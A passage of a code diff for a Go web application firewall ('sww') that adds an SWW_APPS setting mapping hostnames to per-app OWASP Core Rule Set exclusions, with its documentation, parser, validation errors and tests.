||||||
case, as Coraza matches them.
|
app on a hostname that gets those fixes must check those fields and cookies
|
||||||
|
itself.
|
||||||
|
|
||||||
|
The parameter names in these changes and fixes, and Nextcloud's cookie
|
||||||
|
`nc_username`, are matched without regard to case. gitea's two cookies are
|
||||||
|
matched exactly.
|
||||||
|
|
||||||
### Ban lengths, response and scope
|
### Ban lengths, response and scope
|
||||||
|
|
||||||
|
|||||||
@@ -255,6 +255,31 @@ the request first.
|
|||||||
a range. So does a directive that removes or changes rules as the file loads,
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
yet. It has no `_FILE` form.
|
yet. It has no `_FILE` form.
|
||||||
|
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
||||||
|
fixes of its hostname's apps only (see "Attack detection" in
|
||||||
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
||||||
|
or more apps separated by commas, for example
|
||||||
|
`git.example.com:gitea;blog.example.com:wordpress`.
|
||||||
|
- The supported apps are:
|
||||||
|
- `drupal`;
|
||||||
|
- `gitea`;
|
||||||
|
- `mastodon`;
|
||||||
|
- `mediawiki`;
|
||||||
|
- `nextcloud`;
|
||||||
|
- `vaultwarden`;
|
||||||
|
- `wordpress`.
|
||||||
|
- The request's `Host` is matched by exact name, without its port and
|
||||||
|
without regard to case. There are no wildcards.
|
||||||
|
- A hostname not listed gets no app's fixes, so every rule checks it in
|
||||||
|
full. Set empty, `SWW_APPS` lists no hostname.
|
||||||
|
- Unset, every app's fixes apply to every hostname.
|
||||||
|
- Any of these mistakes stops the start:
|
||||||
|
- an unknown app;
|
||||||
|
- a hostname that is not a DNS name, such as `*.example.com`;
|
||||||
|
- a hostname listed twice;
|
||||||
|
- an app listed twice for one hostname;
|
||||||
|
- an entry without a colon.
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -235,6 +236,11 @@ type Config struct {
|
|||||||
WAFExemptPaths []string
|
WAFExemptPaths []string
|
||||||
WAFBodyLimit int64
|
WAFBodyLimit int64
|
||||||
CoreRuleSetExclusionsFile string
|
CoreRuleSetExclusionsFile string
|
||||||
|
// Apps are the names of the apps each hostname serves, by hostname in
|
||||||
|
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
|
||||||
|
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
|
||||||
|
// request gets every app's fixes.
|
||||||
|
Apps map[string][]string
|
||||||
// TrapPaths are the paths a request for which is a clear sign of
|
// TrapPaths are the paths a request for which is a clear sign of
|
||||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
||||||
TrapPaths []string
|
TrapPaths []string
|
||||||
@@ -404,6 +410,11 @@ var (
|
|||||||
errNotTrapPath = errors.New(
|
errNotTrapPath = errors.New(
|
||||||
"is not a path starting with / and without a ?, such as /wp-login.php",
|
"is not a path starting with / and without a ?, such as /wp-login.php",
|
||||||
)
|
)
|
||||||
|
errNotAppsEntry = errors.New(
|
||||||
|
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
|
||||||
|
)
|
||||||
|
errNotHostname = errors.New("is not a DNS name such as git.example.com")
|
||||||
|
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
|
||||||
errNotWAFMode = errors.New("is not off, detect or block")
|
errNotWAFMode = errors.New("is not off, detect or block")
|
||||||
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
|
||||||
errNotRuleID = errors.New(
|
errNotRuleID = errors.New(
|
||||||
@@ -577,6 +588,7 @@ func FromEnvironment(
|
|||||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
||||||
CoreRuleSetExclusionsFile: env.filePath(
|
CoreRuleSetExclusionsFile: env.filePath(
|
||||||
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||||
|
Apps: env.apps("SWW_APPS"),
|
||||||
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
|
||||||
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
|
||||||
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
|
||||||
@@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
|
|||||||
return prefixes
|
return prefixes
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// apps reads the setting that is the apps each hostname serves. It is nil
|
||||||
|
// while the setting is unset, and logged as null, unlike a setting set
|
||||||
|
// empty.
|
||||||
|
func (e *environment) apps(name string) map[string][]string {
|
||||||
|
value, set := e.lookup(name)
|
||||||
|
if !set {
|
||||||
|
e.settings = append(e.settings, slog.Any(name, nil))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
e.settings = append(e.settings, slog.String(name, value))
|
||||||
|
|
||||||
|
apps, err := parseApps(value)
|
||||||
|
e.check(name, err)
|
||||||
|
|
||||||
|
return apps
|
||||||
|
}
|
||||||
|
|
||||||
// trapPaths reads the setting that is the list of trap paths. It is empty
|
// trapPaths reads the setting that is the list of trap paths. It is empty
|
||||||
// by default.
|
// by default.
|
||||||
func (e *environment) trapPaths(name string) []string {
|
func (e *environment) trapPaths(name string) []string {
|
||||||
@@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) {
|
|||||||
return paths, nil
|
return paths, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseApps reads the apps each hostname serves: entries separated by
|
||||||
|
// semicolons, each a hostname, a colon, and a comma-separated list of the
|
||||||
|
// names coreruleset.AppNames returns, such as
|
||||||
|
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
|
||||||
|
// hostname is a DNS name, without a wildcard. It returns them by hostname
|
||||||
|
// in lowercase, since a hostname is matched without regard to case. An
|
||||||
|
// empty value lists no hostname.
|
||||||
|
func parseApps(value string) (map[string][]string, error) {
|
||||||
|
apps := map[string][]string{}
|
||||||
|
|
||||||
|
if strings.TrimSpace(value) == "" {
|
||||||
|
return apps, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
for entry := range strings.SplitSeq(value, ";") {
|
||||||
|
hostname, list, found := strings.Cut(entry, ":")
|
||||||
|
if !found {
|
||||||
|
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
hostname = strings.ToLower(strings.TrimSpace(hostname))
|
||||||
|
if hostname == "" {
|
||||||
|
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !isZone(hostname) {
|
||||||
|
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, listed := apps[hostname]; listed {
|
||||||
|
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
|
||||||
|
}
|
||||||
|
|
||||||
|
names, err := parseList(list)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(names) == 0 {
|
||||||
|
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, name := range names {
|
||||||
|
if !slices.Contains(coreruleset.AppNames(), name) {
|
||||||
|
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
|
||||||
|
strings.Join(coreruleset.AppNames(), ", "))
|
||||||
|
}
|
||||||
|
|
||||||
|
if slices.Contains(names[:i], name) {
|
||||||
|
return nil, fmt.Errorf("%q %w", name, errListedTwice)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
apps[hostname] = names
|
||||||
|
}
|
||||||
|
|
||||||
|
return apps, nil
|
||||||
|
}
|
||||||
|
|
||||||
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
|
||||||
// rules, each a whole number above zero and outside firstSetupRuleID to
|
// rules, each a whole number above zero and outside firstSetupRuleID to
|
||||||
// lastSetupRuleID.
|
// lastSetupRuleID.
|
||||||
@@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string {
|
|||||||
return masked + "." + rest
|
return masked + "." + rest
|
||||||
}
|
}
|
||||||
|
|
||||||
// isZone reports whether each label of zone is as parseZones takes it.
|
// isZone reports whether each label of zone is as parseZones takes it. It
|
||||||
|
// also checks the hostnames of SWW_APPS, which are DNS names too.
|
||||||
func isZone(zone string) bool {
|
func isZone(zone string) bool {
|
||||||
for label := range strings.SplitSeq(zone, ".") {
|
for label := range strings.SplitSeq(zone, ".") {
|
||||||
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
badChar := strings.ContainsFunc(label, func(char rune) bool {
|
||||||
|
|||||||
@@ -89,6 +89,7 @@ const (
|
|||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||||
|
apps = "SWW_APPS"
|
||||||
trapPaths = "SWW_TRAP_PATHS"
|
trapPaths = "SWW_TRAP_PATHS"
|
||||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
||||||
@@ -582,6 +583,101 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// gitea is gitea's name in SWW_APPS.
|
||||||
|
const gitea = "gitea"
|
||||||
|
|
||||||
|
func TestApps(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
env environment
|
||||||
|
want map[string][]string
|
||||||
|
}{
|
||||||
|
{environment{}, nil},
|
||||||
|
{environment{apps: ""}, map[string][]string{}},
|
||||||
|
{
|
||||||
|
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
|
||||||
|
map[string][]string{
|
||||||
|
"git.example.com": {gitea}, "cloud.example.com": {gitea},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
environment{apps: "cloud.example.com:gitea,wordpress"},
|
||||||
|
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
cfg := fromEnvironment(t, tc.env)
|
||||||
|
if !reflect.DeepEqual(cfg.Apps, tc.want) {
|
||||||
|
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
|
||||||
|
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
env environment
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{environment{}, `"` + apps + `":null`},
|
||||||
|
{environment{apps: ""}, `"` + apps + `":""`},
|
||||||
|
} {
|
||||||
|
var out bytes.Buffer
|
||||||
|
|
||||||
|
slog.New(slog.NewJSONHandler(&out, nil)).
|
||||||
|
Info("starting", "settings", fromEnvironment(t, tc.env))
|
||||||
|
|
||||||
|
if !strings.Contains(out.String(), tc.want) {
|
||||||
|
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInvalidAppsStopsTheStart(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const (
|
||||||
|
notEntry = " is not a hostname, : and a list of apps, " +
|
||||||
|
"such as git.example.com:gitea"
|
||||||
|
notHostname = " is not a DNS name such as git.example.com"
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, tc := range []struct{ value, want string }{
|
||||||
|
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
|
||||||
|
{"git.example.com:gitea;", `""` + notEntry},
|
||||||
|
{":gitea", `":gitea"` + notEntry},
|
||||||
|
{"git.example.com:", `"git.example.com:"` + notEntry},
|
||||||
|
{"*.example.com:gitea", `"*.example.com"` + notHostname},
|
||||||
|
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
|
||||||
|
{"git example.com:gitea", `"git example.com"` + notHostname},
|
||||||
|
{
|
||||||
|
"git.example.com:gitea,jellyfin",
|
||||||
|
`"jellyfin" is not an app sww has fixes for; ` +
|
||||||
|
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
|
||||||
|
`vaultwarden, wordpress`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"git.example.com:gitea;GIT.example.com:gitea",
|
||||||
|
`"git.example.com" is listed twice`,
|
||||||
|
},
|
||||||
|
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
|
||||||
|
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
|
||||||
|
} {
|
||||||
|
t.Run(tc.value, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
|
||||||
|
|
||||||
|
want := apps + ": " + tc.want
|
||||||
|
if err == nil || err.Error() != want {
|
||||||
|
t.Errorf("error %v, want %s", err, want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestWAFBodyLimitOf64K(t *testing.T) {
|
func TestWAFBodyLimitOf64K(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2589,6 +2685,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
|
|||||||
wafExemptPaths: "",
|
wafExemptPaths: "",
|
||||||
wafBodyLimit: off,
|
wafBodyLimit: off,
|
||||||
exclusionsFile: "",
|
exclusionsFile: "",
|
||||||
|
apps: "", // logged as null, which decodes as ""
|
||||||
trapPaths: "",
|
trapPaths: "",
|
||||||
errorBurstThreshold: "30",
|
errorBurstThreshold: "30",
|
||||||
logRemoteURL: "",
|
logRemoteURL: "",
|
||||||
|
|||||||
+115
-110
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||||
// response.
|
// in SPEC.md describes them. It reads no response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -16,6 +16,8 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"maps"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"os"
|
"os"
|
||||||
@@ -32,11 +34,8 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// directives of every app in apps for the third.
|
||||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
|
||||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
|
||||||
// and nextcloudExclusions for the ninth.
|
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -84,62 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# before the rules of phase 1 too.
|
# before the rules of phase 1 too.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The eighth change comes before the rules for the same reason.
|
# The apps' fixes come before the rules for the same reason.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The ninth change comes before the rules for the same reason.
|
# The fifth: only the rules for requests are loaded, and no response is
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the tenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the eleventh.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the twelfth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# So does the thirteenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# And the fourteenth.
|
|
||||||
%s
|
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
|
||||||
# inspected.
|
# inspected.
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
Include @owasp_crs/REQUEST-*.conf
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||||
# localhost. Coraza matches a parameter name here, and in the fourth,
|
# localhost. Coraza matches a parameter name here without regard to case.
|
||||||
# without regard to case. ARGS holds the fields of a form data or multipart
|
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
||||||
# body Coraza reads as well as the query parameters, so a field of one of
|
# well as the query parameters, so a field of this name is left out too.
|
||||||
# these names is left out too.
|
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||||
|
|
||||||
# The fourth: the query parameters in which gitea sends names within a
|
# The fourth: Referer is not checked for a Unix command without arguments,
|
||||||
# repository or its own records, or a page of its own site, are not
|
# for Java starting a process, or for a Java class name. 944130 refused
|
||||||
# checked against the lists of system files, shell paths and command
|
# every page opened from the page of java.lang.String.md.
|
||||||
# names. Coraza takes one rule id per directive.
|
|
||||||
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
|
|
||||||
# The fifth, for Referer: it is not checked for a Unix command without
|
|
||||||
# arguments, for Java starting a process, or for a Java class name. 944130
|
|
||||||
# refused every page opened from the page of java.lang.String.md. The
|
|
||||||
# cookies are left out in Inspect.
|
|
||||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
# The seventh: a container image push that reuses a layer names the image
|
# The sixth: a container image push that reuses a layer names the image
|
||||||
# it takes the layer from in the query parameter from, which is not
|
# it takes the layer from in the query parameter from, which is not
|
||||||
# checked for command names. 932260 refused the push of a layer from
|
# checked for command names. 932260 refused the push of a layer from
|
||||||
# owner/python3-app.
|
# owner/python3-app.
|
||||||
@@ -189,61 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
|||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||||
`
|
`
|
||||||
|
|
||||||
// giteaExclusions are the eighth change: the fields of gitea's own
|
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
// with the fixes that let them pass.
|
||||||
// directives.
|
type app struct {
|
||||||
//
|
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
||||||
|
// rules. Their first rule skips to the marker they end with, unless
|
||||||
|
// Inspect sets the transaction variable named for the app, such as
|
||||||
|
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
||||||
|
// must check that variable itself.
|
||||||
|
directives string
|
||||||
|
// cookies are the cookies the Core Rule Set reads a request without.
|
||||||
|
cookies []string
|
||||||
|
}
|
||||||
|
|
||||||
//go:embed gitea.conf
|
//go:embed gitea.conf
|
||||||
var giteaExclusions string
|
var giteaDirectives string
|
||||||
|
|
||||||
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed wordpress.conf
|
//go:embed wordpress.conf
|
||||||
var wordpressExclusions string
|
var wordpressDirectives string
|
||||||
|
|
||||||
// drupalExclusions are the tenth change: the fields of Drupal's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed drupal.conf
|
//go:embed drupal.conf
|
||||||
var drupalExclusions string
|
var drupalDirectives string
|
||||||
|
|
||||||
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
|
||||||
// own requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed mediawiki.conf
|
//go:embed mediawiki.conf
|
||||||
var mediawikiExclusions string
|
var mediawikiDirectives string
|
||||||
|
|
||||||
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
|
||||||
// requests that skip the rules that refused them there, as Coraza
|
|
||||||
// directives.
|
|
||||||
//
|
|
||||||
//go:embed mastodon.conf
|
//go:embed mastodon.conf
|
||||||
var mastodonExclusions string
|
var mastodonDirectives string
|
||||||
|
|
||||||
// vaultwardenExclusions are the thirteenth change: the fields of
|
|
||||||
// Vaultwarden's own requests that skip the rules that refused them there, as
|
|
||||||
// Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed vaultwarden.conf
|
//go:embed vaultwarden.conf
|
||||||
var vaultwardenExclusions string
|
var vaultwardenDirectives string
|
||||||
|
|
||||||
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
|
||||||
// own requests that skip the rules that refused them there, the WebDAV
|
|
||||||
// methods it uses, its cookie of the account's name, and its uploads,
|
|
||||||
// whose bodies are not read, as Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed nextcloud.conf
|
//go:embed nextcloud.conf
|
||||||
var nextcloudExclusions string
|
var nextcloudDirectives string
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
||||||
// without, the rest of the fifth change.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a map
|
||||||
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
var apps = map[string]app{
|
||||||
|
"drupal": {directives: drupalDirectives},
|
||||||
|
"gitea": {
|
||||||
|
directives: giteaDirectives,
|
||||||
|
cookies: []string{"gitea_flash", "redirect_to"},
|
||||||
|
},
|
||||||
|
"mastodon": {directives: mastodonDirectives},
|
||||||
|
"mediawiki": {directives: mediawikiDirectives},
|
||||||
|
"nextcloud": {directives: nextcloudDirectives},
|
||||||
|
"vaultwarden": {directives: vaultwardenDirectives},
|
||||||
|
"wordpress": {directives: wordpressDirectives},
|
||||||
|
}
|
||||||
|
|
||||||
|
// AppNames returns the names of the apps whose fixes sww has, in
|
||||||
|
// alphabetical order.
|
||||||
|
func AppNames() []string {
|
||||||
|
return slices.Sorted(maps.Keys(apps))
|
||||||
|
}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -259,6 +224,10 @@ type Params struct {
|
|||||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
|
// Apps are the names of the apps each hostname serves, by hostname in
|
||||||
|
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
|
||||||
|
// apps only, or of every app while Apps is nil.
|
||||||
|
Apps map[string][]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ids of sww's own rules, which an exclusions file may not
|
// The ids of sww's own rules, which an exclusions file may not
|
||||||
@@ -350,13 +319,15 @@ func checkExclusions(exclusions string) error {
|
|||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
|
apps map[string][]string
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the fourteen changes, at params'
|
// New returns the Core Rule Set with the six changes and the apps' fixes,
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// at params' paranoia level, without the rules it switches off, reading
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// request bodies up to params' limit, and with params' exclusions file
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||||
// cannot be read or does not parse, or if checkExclusions refuses it.
|
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||||
|
// it.
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyLimit > 0 {
|
||||||
@@ -379,10 +350,13 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var fixes strings.Builder
|
||||||
|
for _, name := range AppNames() {
|
||||||
|
fixes.WriteString(apps[name].directives + "\n")
|
||||||
|
}
|
||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
fixes.String())
|
||||||
